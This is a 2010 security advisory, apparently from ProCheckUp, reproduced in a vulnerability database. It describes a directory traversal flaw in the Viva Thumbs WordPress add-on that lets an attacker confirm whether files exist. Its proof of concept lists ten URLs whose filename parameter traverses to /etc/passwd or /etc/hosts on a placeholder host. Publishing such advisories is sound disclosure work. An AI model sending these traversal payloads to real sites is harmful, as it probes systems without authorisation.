http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-04

2010-12-24T00:00:00
ID SECURITYVULNS:DOC:25390
Type securityvulns
Reporter Securityvulns
Modified 2010-12-24T00:00:00

Description

http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-04

PR10-04 Directory traversal limited to file validation within Viva thumbs WordPress add-on

Advisory publicly released: Tuesday, 21 December 2010 Vulnerability found: Thursday, 4 February 2010 Vendor informed: Monday, 8 February 2010 Severity level: Low/Medium Credits Richard Brain of ProCheckUp Ltd (www.procheckup.com) Description Viva Thumbs resizes and display images, as part of a popular WordPress plugin.ProCheckUp has discovered that Viva Thumbs is vulnerable to a directory traversal attack within the image display functionality, the directory traversal attack is limited to file existence validation.

Note: tested on Viva Thumbs running on the Linux operating system. Proof of concept The following demonstrate the traversal flaw:

1) Vulnerable to directory traversal

http://target-domain.foo/show_image_NpAdvCatPG.php?cache=false&cat=1&filename=/../../../../../../etc/passwd

http://target-domain.foo/show_image_NpAdvHover.php?cache=false&cat=0&filename=/../../../../../../etc/passwd

http://target-domain.foo/show_image_NpAdvInnerSmall.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvMainFea.php?cache=false&cat=1&filename=/../../../../../../etc/passwd

http://target-domain.foo/show_image_NpAdvMainPGThumb.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvFeaThumb.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvSecondaryRight.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvSideFea.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvSinglePhoto.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvSubFea.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

Consequences: The existance of files can be validated on the system, outside the WordPress webroot. How to fix None available References

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